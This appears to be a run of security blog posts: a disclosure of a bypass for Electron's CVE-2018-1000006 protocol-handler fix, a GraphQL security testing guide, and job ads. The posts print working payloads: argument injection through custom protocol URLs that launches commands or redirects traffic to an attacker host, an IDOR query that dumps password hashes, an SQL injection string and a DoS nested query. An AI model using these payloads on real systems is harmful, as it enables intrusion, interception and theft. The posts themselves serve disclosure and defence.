Electron Windows Protocol Handler MITM/RCE (bypass for CVE-2018-1000006 fix)

As part of an engagement for one of our clients, we analyzed the patch for the recent Electron Windows Protocol handler RCE bug (CVE-2018-1000006) and identified a bypass.

Under certain circumstances this bypass leads to session hijacking and remote code execution. The vulnerability is triggered by simply visiting a web page through a browser. Electron apps designed to run on Windows that register themselves as the default handler for a protocol and do not prepend dash-dash in the registry entry are affected.

We reported the issue to the Electron core team (via security@electronjs.org) on May 14, 2018 and received immediate notification that they were already working on a patch. The issue was also reported by Google’s Nicolas Ruff few days earlier.

CVE-2018-1000006

On January 22, 2018 Electron released a patch for v1.7.11, v1.6.16 and v1.8.2-beta4 for a critical vulnerability known as CVE-2018-1000006 (surprisingly no fancy name here) affecting Electron-based applications running on Windows that register custom protocol handlers.

The original issue was extensively discussed in many blog posts, and can be summarized as the ability to use custom protocol handlers (e.g. myapp://) from a remote web page to piggyback command line arguments and insert a new switch that Electron/Chromium/Node would recognize and execute while launching the application.

<script>
win.location = 'myapp://foobar" --gpu-launcher="cmd c/ start calc" --foobar='
</script>

Interestingly, on January 31, 2018, Electron v1.7.12, v1.6.17 and v1.8.2-beta5 were released. It turned out that the initial patch did not take into account uppercase characters and led to a bypass in the previous patch with:

<script>
win.location = 'myapp://foobar" --GPU-launcher="cmd c/ start calc" --foobar='
</script> 

Understanding the patch

The patch for CVE-2018-1000006 is implemented in electron/atom/app/command_line_args.cc and consists of a validation mechanism which ensures users won’t be able to include Electron/Chromium/Node arguments after a url (the specific protocol handler). Bear in mind some locally executed applications do require the ability to pass custom arguments.

bool CheckCommandLineArguments(int argc, base::CommandLine::CharType** argv) {
  DCHECK(std::is_sorted(std::begin(kBlacklist), std::end(kBlacklist),
                        [](const char* a, const char* b) {
                          return base::StringPiece(a) < base::StringPiece(b);
                        }))
      << "The kBlacklist must be in sorted order";
  DCHECK(std::binary_search(std::begin(kBlacklist), std::end(kBlacklist),
                            base::StringPiece("inspect")))
      << "Remember to add Node command line flags to kBlacklist";

  const base::CommandLine::StringType dashdash(2, '-');
  bool block_blacklisted_args = false;
  for (int i = 0; i < argc; ++i) {
    if (argv[i] == dashdash)
      break;
    if (block_blacklisted_args) {
      if (IsBlacklistedArg(argv[i]))
        return false;
    } else if (IsUrlArg(argv[i])) {
      block_blacklisted_args = true;
    }
  }
  return true;
}

As is commonly seen, blacklist-based validation is prone to errors and omissions especially in complex execution environments such as Electron:

  • The patch relies on a static blacklist of available chromium flags. On each libchromiumcontent update the Electron team must remember to update the command_line_args.cc file in order to make sure the blacklist is aligned with the current implementation of Chromium/v8
  • The blacklist is implemented using a binary search. Valid flags could be missed by the check if the list is not properly sorted

Bypass and security implications

We started looking for missed flags and noticed that host-rules was absent from the blacklist. With this flag one may specify a set of rules to rewrite domain names for requests issued by libchroumiumcontent. This immediately sticks out as a good candidate for subverting the process.

In fact, an attacker can exploit this issue by overriding the host definitions in order to perform completely transparent Man-In-The-Middle:

<!doctype html>
<script>
 window.location = 'skype://user?userinfo" --host-rules="MAP * evil.doyensec.com" --foobar='
</script>

When a user visits a web page in a browser containing the preceding code, the Skype app will be launched and all Chromium traffic will be forwarded to evil.doyensec.com instead of the original domain. Since the connection is made to the attacker-controlled host, certificate validation does not help as demonstrated in the following video:

We analyzed the impact of this vulnerability on popular Electron-based apps and developed working proof-of-concepts for both MITM and RCE attacks. While the immediate implication is that an attacker can obtain confidential data (e.g. oauth tokens), this issue can be also abused to inject malicious HTML responses containing XSS -> RCE payloads. With nodeIntegration enabled, this is simply achieved by leveraging Node’s APIs. When encountering application sandboxing via nodeIntegration: false or sandbox, it is necessary to chain this with other bugs (e.g. nodeIntegration bypass or IPC abuses).

Please note it is only possible to intercept traffic generated by Chromium, and not Node. For this reason Electron’s update feature, along with other critical functions, are not affected by this vulnerability.

Future

On May 16, 2018, Electron released a new update containing an improved version of the blacklist for v2.0.1, v1.8.7, and v1.7.15. The team is actively working on a more resilient solution to prevent further bypasses. Considering that the API change may potentially break existing apps, it makes sense to see this security improvement within a major release.

In the meantime, Electron application developers are recommended to enforce a dash-dash notation in setAsDefaultProtocolClient

app.setAsDefaultProtocolClient(protocol, process.execPath, [
  '--your-switches-here',
  '--'
])

or in the Windows protocol handler registry entry

secure Windows protocol handler

As a final remark, we would like to thank the entire Electron team for their work on moving to a secure-by-default framework. Electron contributors are tasked with the non-trivial mission of closing the web-native desktop gap. Modern browsers are enforcing numerous security mechanisms to ensure isolation between sites, facilitate web security protections and prevent untrusted remote content from compromising the security of the host. When working with Electron, things get even more complicated.

@lucacarettoni

@day6reak


GraphQL - Security Overview and Testing Tips

With the increasing popularity of GraphQL technology we are summarizing some documentation and tips about common security mistakes.

What is GraphQL?

GraphQL is a data query language developed by Facebook and publicly released in 2015. It is an alternative to REST API.

Even if you don’t see any GraphQL out there, it is likely you’re already using it since it’s running on some big tech giants like Facebook, GitHub, Pinterest, Twitter, HackerOne and a lot more.

A few key points on this technology

  • GraphQL provides a complete and understandable description of the data in the API and gives clients the power to ask for exactly what they need. Queries always return predictable results.

  • While typical REST APIs require loading from multiple URLs, GraphQL APIs get all the data your app needs in a single request.

  • GraphQL APIs are organized in terms of types and fields, not endpoints. You can access the full capabilities of all your data from a single endpoint.

  • GraphQL is strongly typed to ensure that application only ask for what’s possible and provide clear and helpful errors.

  • New fields and types can be added to the GraphQL API without impacting existing queries. Aging fields can be deprecated and hidden from tools.

Before we start diving into the GraphQL security landscape, here is a brief recap on how it works. The official documentation is well written and was really helpful.

A GraphQL query looks like this:

Basic GraphQL Query

query{
	user{
		id
		email
		firstName
		lastName
	}
}

While the response is JSON:

Basic GraphQL Response

{
	"data": {
		"user": {
			"id": "1",
			"email": "paolo@doyensec.com",
			"firstName": "Paolo",
			"lastName": "Stagno"
		}
	}
}

Security Testing Tips

Since Burp Suite does not understand GraphQL syntax well, I recommend using the graphql-ide, an Electron based app that allows you to edit and send requests to a GraphQL endpoint; I also wrote a small python script GraphQL_Introspection.py that enumerates a GraphQL endpoint (with introspection) in order to pull out documentation. The script is useful for examining the GraphQL schema looking for information leakage, hidden data and fields that are not intended to be accessible.

The tool will generate a HTML report similar to the following:

Python Script pulling data from a GraphQL endpoint

Introspection is used to ask for a GraphQL schema for information about what queries, types and so on it supports.

As a pentester, I would recommend to look for requests issued to “/graphql” or “/graphql.php” since those are usual GraphQL endpoint names; you should also search for “/graphiql”, ”graphql/console/”, online GraphQL IDEs to interact with the backend, and “/graphql.php?debug=1” (debugging mode with additional error reporting) since they may be left open by developers.

When testing an application, verify whether requests can be issued without the usual authorization token header:

GraphQL Bearer Authorization Header Example

Since the GraphQL framework does not provide any means for securing your data, developers are in charge of implementing access control as stated in the documentation:

“However, for a production codebase, delegate authorization logic to the business logic layer”.

Things may go wrong, thus it is important to verify whether a user without proper authentication and/or authorization can request the whole underlying database from the server.

When building an application with GraphQL, developers have to map data to queries in their chosen database technology. This is where security vulnerabilities can be easily introduced, leading to Broken Access Controls, Insecure Direct Object References and even SQL/NoSQL Injections.

As an example of a broken implementation, the following request/response demonstrates that we can fetch data for any users of the platform (cycling through the ID parameter), while simultaneously dumping password hashes:

Query

query{
	user(id: 165274){
		id
		email
		firstName
		lastName
		password
	}
}

Response

{
	"data": {
		"user": {
			"id": "165274",
			"email": "johndoe@mail.com",
			"firstName": "John",
			"lastName": "Doe"
			"password": "5F4DCC3B5AA765D61D8327DEB882CF99"
		}
	}
}

Another thing that you will have to check is related to information disclosure when trying to perform illegal queries:

Information Disclosure

{
	"errors": [
		{
			"message": "Invalid ID.",
			"locations": [
				{
					"line": 2,
					"column": 12
				}
				"Stack": "Error: invalid ID\n at (/var/www/examples/04-bank/graphql.php)\n"
      			]
		}
	]
}

Even though GraphQL is strongly typed, SQL/NoSQL Injections are still possible since GraphQL is just a layer between client apps and the database. The problem may reside in the layer developed to fetch variables from GraphQL queries in order to interrogate the database; variables that are not properly sanitized lead to old simple SQL Injection. In case of Mongodb, NoSQL injection may not be that simple since we cannot “juggle” types (e.g. turning a string into an array. See PHP MongoDB Injection).

GraphQL SQL Injection

mutation search($filters Filters!){
	authors(filter: $filters)
	viewer{
		id
		email
		firstName
		lastName
	} 
}

{
	"filters":{
		"username":"paolo' or 1=1--"
		"minstories":0
	}
}

Beware of nested queries! They can allow a malicious client to perform a DoS (Denial of Service) attack via overly complex queries that will consume all the resources of the server:

Nested Query

query {
 stories{
  title
  body
  comments{
   comment
   author{
    comments{
     author{
      comments{
       comment
       author{
        comments{
         comment
         author{
          comments{
           comment
           author{
            name
           }
          }
         }
        }
       }
      }
     }
    }
   }
  }
 }
}

An easy remediation against DoS could be setting a timeout, a maximum depth or a query complexity threshold value.

Keep in mind that in the PHP GraphQL implementation:

  • Complexity analysis is disabled by default

  • Limiting Query Depth is disabled by default

  • Introspection is enabled by default. It means that anybody can get a full description of your schema by sending a special query containing meta fields type and schema

Outro

GraphQL is a new interesting technology, which can be used to build secure applications. Since developers are in charge of implementing access control, applications are prone to classical web application vulnerabilites like Broken Access Controls, Insecure Direct Object References, Cross Site Scripting (XSS) and Classic Injection Bugs. As any technology, GraphQL-based applications may be prone to development implementation errors like this real-life example:

“By using a script, an entire country’s (I tested with the US, the UK and Canada) possible number combinations can be run through these URLs, and if a number is associated with a Facebook account, it can then be associated with a name and further details (images, and so on).”

@voidsec

Resources:

We're hiring - Join Doyensec!

At Doyensec, we believe that quality is the natural product of passion and care. We love what we do and we routinely take on difficult engineering challenges to help our customers build with security.

We are a small highly focused team. We concentrate on application security and do fewer things better. We don’t care about your education, background and certifications. If you are really good and passionate at building and breaking complex software, you’re the right candidate.

Open Positions

:: Full-stack Security Automation Engineer (Six Months Collaboration, Remote Work) ::

We are looking for a full-stack senior software engineer that can help us build security automation tools. If you’ve ever built a fuzzer, played with static analysis and enhanced a web scanner engine, you probably have the right skillset for the job.

We offer a well-paid six-months collaboration, combined with an additional bonus upon successful completion of the project.

Responsibilities:

  • Full-stack development (front-end, back-end components) of web security testing tools
  • Solve technical challenges at the edge of web security R&D, together with Doyensec’s founders

Requirements:

  • Experience developing multi-tiered software applications or products. We generally use Node.js and Java, and require proficiency in those languages
  • Ability to work with standard dev tools and techniques (IDE, git, …)
  • You’re passionate about building great software and can have fun while doing it
  • Interested in web security, with good understanding of common software vulnerabilities
  • You’re self-driven and can focus on a project to make it happen
  • Eager to learn, adapt and perfect your work

Contact us at info@doyensec.com

:: Application Security Engineer (Full-time, Remote Work - Europe) ::

We are looking for an experienced security engineer to join our consulting team. We perform graybox security testing on complex web and mobile applications. We need someone who can hit the ground running. If you’re good at “crawling around in the ventilation ducts of the world’s most popular and important applications”, you probably have the right skillset for the job.

We offer a competitive salary in a supportive and dynamic environment that rewards hard work and talent. We are dedicated to providing research-driven application security and therefore invest 25% of your time exclusively to research where we build security testing tools, discover new attack techniques, and develop countermeasures.

Responsibilities:

  • Security testing of web, mobile (iOS, Android) applications
  • Vulnerability research activities, coordinated and executed with Doyensec’s founders
  • Partner with customers to ensure project’s objectives are achieved 

Requirements:

  • Ability to discover, document and fix security bugs
  • You’re passionate about understanding complex systems and can have fun while doing it
  • Top-notch in web security. Show us public research, code, advisories, etc.
  • Eager to learn, adapt, and perfect your work

Contact us at info@doyensec.com